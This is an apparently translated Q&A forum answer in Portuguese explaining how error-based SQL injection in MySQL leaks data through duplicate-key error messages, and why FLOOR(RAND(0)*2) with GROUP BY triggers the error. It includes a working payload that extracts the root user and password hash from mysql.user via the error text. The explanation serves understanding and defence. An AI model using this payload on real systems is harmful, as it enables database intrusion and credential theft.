Mysql
 sql >> Base de Dados >  >> RDS >> Mysql

Ataque de injeção de SQL - O que isso faz?

O que o ataque realmente faz


Há um detalhe sutil, mas inteligente, sobre esse ataque que outros respondentes não perceberam. Observe a mensagem de erro Duplicate entry ':sjw:1:ukt:1' for key 'group_key' . A string :sjw:1:ukt:1 é na verdade o resultado de uma expressão avaliada pelo seu servidor MySQL. Se seu aplicativo enviar a string de erro do MySQL de volta ao navegador, a mensagem de erro pode vazar dados do seu banco de dados.

Esse tipo de ataque é usado nos casos em que o resultado da consulta não é enviado de volta ao navegador (injeção de SQL cega) ou quando um ataque UNION SELECT clássico é complicado de ser executado. Também funciona em consultas INSERT/UPDATE/DELETE.

Como observa Hawili, a consulta original em particular não deveria vazar nenhuma informação, era apenas um teste para ver se seu aplicativo é vulnerável a esse tipo de injeção.

O ataque não falhar como MvG sugerido, causando esse erro é o objetivo da consulta.

Um exemplo melhor de como isso pode ser usado:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
>                        0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'

Por que o erro é gerado


Por que a consulta causa esse erro no MySQL é um mistério para mim. Parece um bug do MySQL, já que GROUP BY deve lidar com entradas duplicadas agregando-as. A simplificação da consulta de Hawili, de fato, não causa o erro!

A expressão FLOOR(RAND(0)*2) fornece os seguintes resultados em ordem, com base no argumento de semente aleatório 0:
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
 ...

Como o 3º valor é uma duplicata do 2º, esse erro é lançado. Qualquer tabela FROM com pelo menos 3 linhas pode ser usada, mas information_schema.tables é comum. As partes COUNT(*) e GROUP BY são necessárias para provocar o erro no MySQL:
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

Este erro não ocorre na consulta equivalente ao PostgreSQL:
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
 count | x 
-------+---
    83 | 0
    90 | 1

(Desculpe por responder com 1 ano de atraso, mas acabei de me deparar com isso hoje. Esta pergunta é interessante para mim porque eu não sabia que existem maneiras de vazar dados por meio de mensagens de erro do MySQL)